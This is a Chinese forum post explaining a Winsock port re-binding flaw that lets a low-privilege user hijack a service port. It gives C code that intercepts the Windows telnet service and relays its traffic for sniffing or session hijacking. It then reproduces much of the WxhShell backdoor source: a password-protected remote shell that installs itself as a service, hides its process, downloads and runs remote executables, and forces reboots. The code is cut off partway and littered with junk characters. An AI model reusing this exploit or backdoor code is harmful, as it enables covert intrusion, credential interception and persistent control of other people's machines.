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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2:6W_[7l!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l 10p'9 n  
J_|LG rt})  
  saddr.sin_family = AF_INET; F+m%PVW:  
2YbI."ob  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); D"z3SLFW{  
[B,w\PLub  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UD!-.I]  
t4P`#,:8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n ZbINhls  
W0 n?S "  
  这意味着什么?意味着可以进行如下的攻击: T) Zef  
' a>YcOw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )-s9CWJv  
'xP&u<(F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w wuM!Z+  
k Xg&}n7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Lhz*o6)  
sc0.!6^'V  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @fc-[pv  
\}n\cUy-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g!\H^d4  
@BmI1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !S3^{l-  
ixY[ HDPq  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /=(PMoZu  
TlEd#XQgf&  
  #include j%`% DQ  
  #include 4F`&W*x  
  #include z|$M,?r'  
  #include    WR<?_X_  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?]AF? 0/  
  int main() gr^T L1(  
  { j6:jN-z  
  WORD wVersionRequested; =`KA@~XH4  
  DWORD ret; ;xl0J*r  
  WSADATA wsaData; chE}TK  
  BOOL val; VrIR!9%:  
  SOCKADDR_IN saddr; r6Qsh CA"  
  SOCKADDR_IN scaddr; N;q)r  
  int err; B{lj.S` mB  
  SOCKET s; Bc*FH>E  
  SOCKET sc; &|K9qa~)Y  
  int caddsize; `6:B0-r  
  HANDLE mt; qI%X/'  
  DWORD tid;   Z_h-5VU-  
  wVersionRequested = MAKEWORD( 2, 2 ); fjd)/Gg  
  err = WSAStartup( wVersionRequested, &wsaData ); }ip3dm  
  if ( err != 0 ) { 0g`$Dap  
  printf("error!WSAStartup failed!\n"); p>l:^ -N;f  
  return -1; I'E7mb<2  
  } {ew; /;  
  saddr.sin_family = AF_INET; 4o<rj4G>  
   #I"s{*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _M) G  
2j;9USZ p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %#<MCiaK  
  saddr.sin_port = htons(23); |Zk2]eUO+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SaIY-PC  
  { |E9'ii&?B  
  printf("error!socket failed!\n"); ^)UX#D3b  
  return -1; 6Vj=SYK  
  } @GWJq 3e  
  val = TRUE; g.*DlD%%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M5kw3Jy5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CUN1.i<pk8  
  { .]e_je_  
  printf("error!setsockopt failed!\n"); )`BKEa f  
  return -1; p/U{*i ]t  
  } ~Z~V:~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o1?S*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :2.<JUDM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Gsu?m  
#\8"d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ij,Rq`}l  
  { =<%[P9y  
  ret=GetLastError(); }a%1$>sj  
  printf("error!bind failed!\n"); GO)5R,  
  return -1; $Jo4n>/  
  } ph$ vP;}  
  listen(s,2); bO` S Bq$  
  while(1) @h9QfJ_f  
  { DF>3)oTF  
  caddsize = sizeof(scaddr); 4a=QTq0p  
  //接受连接请求 aka)#0l .  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FP'-=zgc  
  if(sc!=INVALID_SOCKET) Xp.$FJ1)  
  { w{*PZb4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \(MI DCZ@-  
  if(mt==NULL) ^ -4~pDv^  
  { Q2!5  
  printf("Thread Creat Failed!\n"); A5T&i]  
  break; '3 b'moy  
  } X'88W-  
  } DNr*|A2<  
  CloseHandle(mt); <aLS4  
  } unih"};ou  
  closesocket(s); $^_6,uBM[  
  WSACleanup(); .e5d#gE0  
  return 0; IZLBv2m  
  }   u].7+{  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8iTB  
  { xnf J ruT  
  SOCKET ss = (SOCKET)lpParam; f`)*bx  
  SOCKET sc; & 'CUc/,  
  unsigned char buf[4096]; npd:aGx  
  SOCKADDR_IN saddr; *M)M!jTv  
  long num; }K5okxio  
  DWORD val; I^nDO\m <  
  DWORD ret; f92z/5%V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 TlowEh8r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &1Cs'  
  saddr.sin_family = AF_INET; ,+ 5:}hR+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d'"|Qg_'  
  saddr.sin_port = htons(23);  wX5q=I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d N$,AOT  
  { !S%0#d2  
  printf("error!socket failed!\n"); 1F_$[iIX]  
  return -1; \,fa"^8  
  } ~yt7L,OQ  
  val = 100; `^] D;RfE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >(-A"jf  
  { *4e?y  
  ret = GetLastError(); \1SC:gN*#  
  return -1; i),bAU!+m  
  } 'J$@~P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9GRQ^E  
  { eyuyaSE  
  ret = GetLastError(); ):_@i  
  return -1; e=nvm'[h  
  }  Q6RTH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 19U&4Jk  
  { $}Ab R:z  
  printf("error!socket connect failed!\n"); Ia< V\$#  
  closesocket(sc); )t KS ooW  
  closesocket(ss); R+U$;r8l  
  return -1; hbg$u$1`,  
  } /wax5FS'I,  
  while(1) KZTLIZxI-  
  { OLqV#i[K#9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &=x4M]t9L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;*$e8y2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Jt[,V*:#  
  num = recv(ss,buf,4096,0); LRg]'?  
  if(num>0) v3aPHf  
  send(sc,buf,num,0);  DR{O.TX  
  else if(num==0) 3@qv[yOE  
  break; op\$(7<d-  
  num = recv(sc,buf,4096,0); FZ?:BX^  
  if(num>0) :EAh%q  
  send(ss,buf,num,0); 4y#XX[2Wj  
  else if(num==0) -pIz-*  
  break; }lDX3h  
  } haY]gmC  
  closesocket(ss); _-lE$ O  
  closesocket(sc); =kfa1kD&{  
  return 0 ; )|vy}Jf7  
  } s[sv4hq  
14" 57Jt8  
<zL_6Y2  
========================================================== eZ+6U`^t  
w|6/i/X  
下边附上一个代码,,WXhSHELL q" f65d4c  
lcm3wJ'w  
========================================================== E*u*LMm  
{x?qz~W  
#include "stdafx.h" :dh; @kp  
OxYAM,F  
#include <stdio.h> M2-`p  
#include <string.h> SAdE9L =d  
#include <windows.h> N<8\.z5:<  
#include <winsock2.h> ,f2oO?L}  
#include <winsvc.h> D*Zj oU  
#include <urlmon.h> jLVG=rOn  
yKoZj   
#pragma comment (lib, "Ws2_32.lib") a_V\[V{R=  
#pragma comment (lib, "urlmon.lib") _FYA? d}  
Hf@4p'  
#define MAX_USER   100 // 最大客户端连接数 .whi0~i  
#define BUF_SOCK   200 // sock buffer uE41"?GS  
#define KEY_BUFF   255 // 输入 buffer ]c~yMA+]FZ  
Uffwzd!  
#define REBOOT     0   // 重启 *d3-[HwZCL  
#define SHUTDOWN   1   // 关机 ",.f   
D>[Sib/@  
#define DEF_PORT   5000 // 监听端口 ^hiY6N &  
K<wFr-z  
#define REG_LEN     16   // 注册表键长度 |~e"i<G#  
#define SVC_LEN     80   // NT服务名长度 w8w0:@0(  
l)vC=V6MG  
// 从dll定义API hAAh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *qm|A{FQR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CYLab5A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .@E5dw5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DPjs? M<  
953qz]Q8  
// wxhshell配置信息 vI I{i  
struct WSCFG { U8 Zb&6  
  int ws_port;         // 监听端口 @k&6\1/U  
  char ws_passstr[REG_LEN]; // 口令 \^*:1=|7u]  
  int ws_autoins;       // 安装标记, 1=yes 0=no D9[19,2r`  
  char ws_regname[REG_LEN]; // 注册表键名 1oej<67PdJ  
  char ws_svcname[REG_LEN]; // 服务名 I09 W=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o 2 Nu@^+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [M[<'+^*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8Y.q P"s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?!P0UTe~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !i)!|9e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v?OVhV  
m2\\!C]f  
}; 'RV96lX<  
=S`h/fru  
// default Wxhshell configuration 3e&+[j  
struct WSCFG wscfg={DEF_PORT, <rj'xv  
    "xuhuanlingzhe", 7DJEx~"!2-  
    1, <Z:FY|'s  
    "Wxhshell", B=TUZ)  
    "Wxhshell", oI{.{]  
            "WxhShell Service", XnZ$ %?$  
    "Wrsky Windows CmdShell Service", x<gmDy*  
    "Please Input Your Password: ", yws'}{8  
  1, T0tX%_6`  
  "http://www.wrsky.com/wxhshell.exe", Y2x|6{ #  
  "Wxhshell.exe" Gu*y7I8  
    }; 1`K-f m)  
Q;$k?G=l  
// 消息定义模块 'z;(Y*jb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xx{| [2`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VGc*aQYa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b^$`2m-?@f  
char *msg_ws_ext="\n\rExit."; o>r P\  
char *msg_ws_end="\n\rQuit."; &T,|?0>~=J  
char *msg_ws_boot="\n\rReboot..."; ZOEe-XW  
char *msg_ws_poff="\n\rShutdown..."; *'-4%7C`1  
char *msg_ws_down="\n\rSave to "; <=">2WP{  
EwzR4,r\M  
char *msg_ws_err="\n\rErr!"; (p[#[CI9  
char *msg_ws_ok="\n\rOK!"; ,Q-,#C"  
l&ueD& *4&  
char ExeFile[MAX_PATH]; N.JR($N$  
int nUser = 0; ?>h ~"D#  
HANDLE handles[MAX_USER]; ChTq!W  
int OsIsNt; '#f<wf n  
Iw`tb N L[  
SERVICE_STATUS       serviceStatus; ^~H{I_Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @KTuG ?.  
; BN81;  
// 函数声明 |Gf<Ql_.4  
int Install(void); d/7R}n^  
int Uninstall(void); T/3LJGnY  
int DownloadFile(char *sURL, SOCKET wsh); vTK%4=|1}!  
int Boot(int flag); lgaSIXDK  
void HideProc(void); #"N60T@  
int GetOsVer(void); $pES>>P  
int Wxhshell(SOCKET wsl); [=>=5'-  
void TalkWithClient(void *cs); YGo?%.X  
int CmdShell(SOCKET sock); hI:.Qp`r  
int StartFromService(void); ;d6Dm)/(  
int StartWxhshell(LPSTR lpCmdLine); 8gP1]xD  
r%.k,FzGZY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0V1GX~2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TmG);B}  
e_=K0fFz  
// 数据结构和表定义 |fgUW.  
SERVICE_TABLE_ENTRY DispatchTable[] = \_`qon$9  
{ \jiE :Qt  
{wscfg.ws_svcname, NTServiceMain}, !zX() V  
{NULL, NULL} L+8ar9es  
}; INN}xZ  
Xf`e 4  
// 自我安装 u}iuf_  
int Install(void) G!Zb27u+  
{ 9r?Z'~,Za  
  char svExeFile[MAX_PATH]; bTum|GWf  
  HKEY key; #dZs[R7h  
  strcpy(svExeFile,ExeFile); 1C<cwd;9  
mXRkR.zu+  
// 如果是win9x系统,修改注册表设为自启动 9lb?%UFe  
if(!OsIsNt) { 1,fR kQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Uq|Yh'Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JY"jj}H]|  
  RegCloseKey(key); ,.<mj !YE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [./FzlAs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?@ oF@AEx=  
  RegCloseKey(key); KW .4 9  
  return 0; cqG6di7#  
    } 1p}Wj*mc  
  } l{[@Ahb}?  
} '0HOL)cIz  
else { O-(V`BZe  
7_I83$p'  
// 如果是NT以上系统,安装为系统服务 l8oaDL\f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [Z$H <m{c-  
if (schSCManager!=0) B7 s{yb  
{ WQ9e~D"  
  SC_HANDLE schService = CreateService fQfn7FaW_\  
  ( (.4lsKN<  
  schSCManager, Tvx1+0Z%z  
  wscfg.ws_svcname, d6J/)nl  
  wscfg.ws_svcdisp, Pu3oQDldV  
  SERVICE_ALL_ACCESS, >&(#p@#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )pHtsd.eP  
  SERVICE_AUTO_START, x"b'Pmw  
  SERVICE_ERROR_NORMAL, DG;7+2U  
  svExeFile, C8-7XQ=B:b  
  NULL, <w9~T TS  
  NULL, cXb*d|-|N  
  NULL, o !tC{"g  
  NULL, K?uZIDo  
  NULL +x2JC' -H  
  ); CYaN;HV@_  
  if (schService!=0) @"7S$@cO  
  { ?9~^QRLT  
  CloseServiceHandle(schService); u}5CzV`  
  CloseServiceHandle(schSCManager); Xq135/d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lb_N"90p  
  strcat(svExeFile,wscfg.ws_svcname); OH t)z.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i\sBey ND"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >bW=oTFz  
  RegCloseKey(key); 4mvR]: G  
  return 0; E.K^v/dNdq  
    } joe)b  
  } d/; tq  
  CloseServiceHandle(schSCManager); cw<I L  
} 27SHj9I  
} hN3FH# YO  
r)^sHpK:`  
return 1; : B^"V\WE  
} (tg.]q_=u  
0-Mzb{n5  
// 自我卸载 '9}&@;-_  
int Uninstall(void) i7#4&r  
{ DPI[~  
  HKEY key; B\Nbt!Ps  
'7?Y+R@|L  
if(!OsIsNt) { x%EGxs;>^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :r*hY$v  
  RegDeleteValue(key,wscfg.ws_regname); Fl`U{03  
  RegCloseKey(key); %YR&>j k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KsKE#])&l  
  RegDeleteValue(key,wscfg.ws_regname); eh9 ?GUr5  
  RegCloseKey(key); H!IVbL`a{  
  return 0; ~F,~^r!Jtu  
  } aKj|gwo!  
} b? ); D  
} 7P<VtS  
else { h&'|^;FM  
l'"nU6B&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >Z!!`0{  
if (schSCManager!=0) D;R~!3f./b  
{ /QQRy_Z1)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /PwiZ A3sA  
  if (schService!=0) a}y b~:TC  
  { 16L YVvmW  
  if(DeleteService(schService)!=0) { O(-p md,  
  CloseServiceHandle(schService); l e/j!  
  CloseServiceHandle(schSCManager); 5MnP6(3$  
  return 0; l2Sar1~1  
  }  vD#U+  
  CloseServiceHandle(schService); (=!At)O  
  } {[!<yUJ`S#  
  CloseServiceHandle(schSCManager); R/~!km  
} t.( `$  
} n#">k%bD  
E;a,].  
return 1; T~E;@weR  
} z x-[@G  
(  cs  
// 从指定url下载文件 >?@5>wF  
int DownloadFile(char *sURL, SOCKET wsh) NW[K/`-CTH  
{ 0"R>:f}  
  HRESULT hr; DsMo_m/"1  
char seps[]= "/"; JR] 2Ray  
char *token; aF 2vgE\  
char *file; lx+;<la  
char myURL[MAX_PATH]; H,% bKl#  
char myFILE[MAX_PATH];  FSMM  
Ph=NH8  
strcpy(myURL,sURL); l2LQV]l  
  token=strtok(myURL,seps); E+/Nicn=  
  while(token!=NULL) tc'iKJ5)  
  { :H&Q!\a  
    file=token; bN_e~z  
  token=strtok(NULL,seps); __ g?xw  
  }  nYx /q  
@\g}I`_M  
GetCurrentDirectory(MAX_PATH,myFILE); FsED9+/m  
strcat(myFILE, "\\"); !/p|~K  
strcat(myFILE, file); 0Q{lyu  
  send(wsh,myFILE,strlen(myFILE),0); }h^ fX  
send(wsh,"...",3,0); 1K9.3n   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v[ iJ(C_  
  if(hr==S_OK) '7'/+G'~&  
return 0; jF?0,g  
else \ *t\=4  
return 1; DSLX/u o1  
XY'=_5t  
} fJ*^4  
(9u`(|x  
// 系统电源模块 k{+cFG\C&  
int Boot(int flag) q9vND[BQ  
{ *ak0(yLn)  
  HANDLE hToken; 6:2*<  
  TOKEN_PRIVILEGES tkp; NMkP#s7.y  
 qra XAQ  
  if(OsIsNt) { x"z\d,O%W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ir JSU_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >>{):r Z  
    tkp.PrivilegeCount = 1; J2Dn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @(#vg\UH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U,U=udsi  
if(flag==REBOOT) { pb97S^K[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UCVYO. 9"  
  return 0; )xcjQkb  
} VZqCFE3  
else { &4OJJ9S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ar>B_*dr  
  return 0; )|=1;L  
} V(TtOuv  
  } I">">  
  else { xo@1((|z  
if(flag==REBOOT) { hF-QbO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +<\LY(o  
  return 0; 8[@,i|kgg0  
} +'m9b7+v  
else { j/TnKO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FsqH:I4O  
  return 0; ~u*4k:2H  
} sK%b16#  
} YIk@{V  
#K^hKx9  
return 1; 3f5YPf2u  
} .f$2-5q  
XuP%/\  
// win9x进程隐藏模块 "w"a0nv  
void HideProc(void) W"%n5)  
{ .gy:Pl]w  
jsAx;Z:QT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @]Vcl"t  
  if ( hKernel != NULL ) jga; q  
  { (*A@V%H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1HO;~NJ]m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2(d  
    FreeLibrary(hKernel); UwW@}cy,L  
  } B9"d7E#wHF  
`RY}g;  
return; yM 7{v$X0  
} L$Z!  
Nd( I RsH(  
// 获取操作系统版本 UI=v| <'-  
int GetOsVer(void) _7N?R0j^9N  
{ {U-z(0  
  OSVERSIONINFO winfo; UovN"8W+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YAXd   
  GetVersionEx(&winfo); F(1E@xs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NzZ(N z5  
  return 1; p{oz}}  
  else pq0Z<b;2  
  return 0; .+>fD0fW7Y  
} fm Yx  
=RUy4+0>F  
// 客户端句柄模块 6`2i'flv  
int Wxhshell(SOCKET wsl) 1R_@C.I  
{ w&IYCYK_  
  SOCKET wsh; P:g!~&Q  
  struct sockaddr_in client; \:h7,[e  
  DWORD myID; &</)k|.A6\  
lfBCzxifC  
  while(nUser<MAX_USER) `0ZH=*P  
{ 9L7z<ntn  
  int nSize=sizeof(client); X(Af`KOg[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kt Z~r. +  
  if(wsh==INVALID_SOCKET) return 1; {#+K+!SvDX  
G9x l-ag+z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iAe"oXK|  
if(handles[nUser]==0) #TUm&2 +V  
  closesocket(wsh); n$ByTmKxv  
else =9,mt K~  
  nUser++; r7VBz_Q  
  } Jb{g{a/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #_\**%,<  
 @mw1__?  
  return 0; n%h00 9 -5  
} z~Zm1tZs  
e| C2/U-  
// 关闭 socket hcU^!mp  
void CloseIt(SOCKET wsh) "u^2!d  
{ 8]&Fu3M^  
closesocket(wsh); >CG;df<~  
nUser--; >#dLT~[\a  
ExitThread(0); 3^Is4H_8  
} x=0Ak'1M  
#}.{|'L  
// 客户端请求句柄 R;AcAJ;  
void TalkWithClient(void *cs) euY+jc%  
{ K:XXtG  
yq, qS0Fo  
  SOCKET wsh=(SOCKET)cs; &T-:`(  
  char pwd[SVC_LEN]; "viZ"/ ~6  
  char cmd[KEY_BUFF]; xe OfofC(l  
char chr[1]; @/aJi6d"^E  
int i,j; MuO(%.H  
j^/<:e c.  
  while (nUser < MAX_USER) { >WO;q  
y-@`3hYM@  
if(wscfg.ws_passstr) { Y<^Or  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Up-^km  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?/}IDwuh  
  //ZeroMemory(pwd,KEY_BUFF); /p;OZf]  
      i=0; GQ Flt_  
  while(i<SVC_LEN) { 'n{=`e(}cI  
Q$Qr)mcC  
  // 设置超时  k=t{o  
  fd_set FdRead; xNY&*jI  
  struct timeval TimeOut; |1kA6/  
  FD_ZERO(&FdRead); CZy!nR!  
  FD_SET(wsh,&FdRead); NWwKp?  
  TimeOut.tv_sec=8; O 8l`1  
  TimeOut.tv_usec=0; Y)8 Py1}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XR=ebl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5a6d3u/  
{2xc/   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ='I2&I,)  
  pwd=chr[0]; Qt"jU+Zoy  
  if(chr[0]==0xd || chr[0]==0xa) { ko!]vHB9`  
  pwd=0; fZs}u<3Q)  
  break; ! j6CvclT  
  } FBi&M Z`  
  i++; n%2c<@p#  
    } *` -  
q%s<y+  
  // 如果是非法用户,关闭 socket t`6~ ud>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =585TR; V  
} 9u^za!pE  
U2Siw   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZdhA:}~^E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QeQwmI  
4M$"0}O;[h  
while(1) {  ^~B#r#  
L.9@rwfI  
  ZeroMemory(cmd,KEY_BUFF); \V j7%ph  
nKwOSGPQt  
      // 自动支持客户端 telnet标准   ?MRT  
  j=0; Y qKQm+G  
  while(j<KEY_BUFF) { !y1qd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ux);~P`/o  
  cmd[j]=chr[0]; ZjK'gu8*  
  if(chr[0]==0xa || chr[0]==0xd) { u~t%GIg  
  cmd[j]=0; [*vR&4mk  
  break; |Ntretz`\  
  } 7 A{R0@  
  j++; P`CQ)o  
    } ]<iD'=a  
wVv@   
  // 下载文件 R-Tf9?)  
  if(strstr(cmd,"http://")) { fn//j7 j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F{&0(6^p!  
  if(DownloadFile(cmd,wsh)) x;&iLQZh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]o9^?iU]  
  else Q:b>1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _P_R`A)"  
  } Re;[S[D7  
  else { (^|vN ;  
W1}d6Sbg  
    switch(cmd[0]) { =b3<}]  
  -!j5j:RR  
  // 帮助 ,PWMl [X  
  case '?': { 0VgsV;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  *% ]&5  
    break; |'k7 ;UW  
  } jjoyMg95  
  // 安装 =, U~  
  case 'i': { Cj)*JZV G  
    if(Install()) +o 6"Z)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I&&[ ':  
    else |3EKK:RE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uw&p)  
    break; gr >>]C$  
    } Coe%R(x5  
  // 卸载 )k 6z  
  case 'r': { r[nvgzv@  
    if(Uninstall()) O3L:v{Kn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZiN&}5e  
    else K{G\=yJ((  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); " V4ru&a  
    break; I(Q3YDdb  
    } ]E vK.ORy  
  // 显示 wxhshell 所在路径 5F5)Bh  
  case 'p': { DvBRK}'  
    char svExeFile[MAX_PATH]; dJ,,yA*  
    strcpy(svExeFile,"\n\r"); =W'{xG}  
      strcat(svExeFile,ExeFile); y(6*)~Dh  
        send(wsh,svExeFile,strlen(svExeFile),0); h"$], =  
    break; 8Vm)jnM  
    }  4V 5  
  // 重启 -[A=\]RfJ  
  case 'b': { \BdQ(rm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /s`8=+\9  
    if(Boot(REBOOT)) tb'O:/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^1+=HdN,  
    else { d/I*$UC  
    closesocket(wsh); tc<HA7vpt~  
    ExitThread(0); S4>1d-  
    } K1|xatx1V  
    break; ?wj1t!83  
    } L%[b6<  
  // 关机 :8Ql (I  
  case 'd': { I#:4H2H6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -*0U&]T  
    if(Boot(SHUTDOWN)) |s[k= /~"  
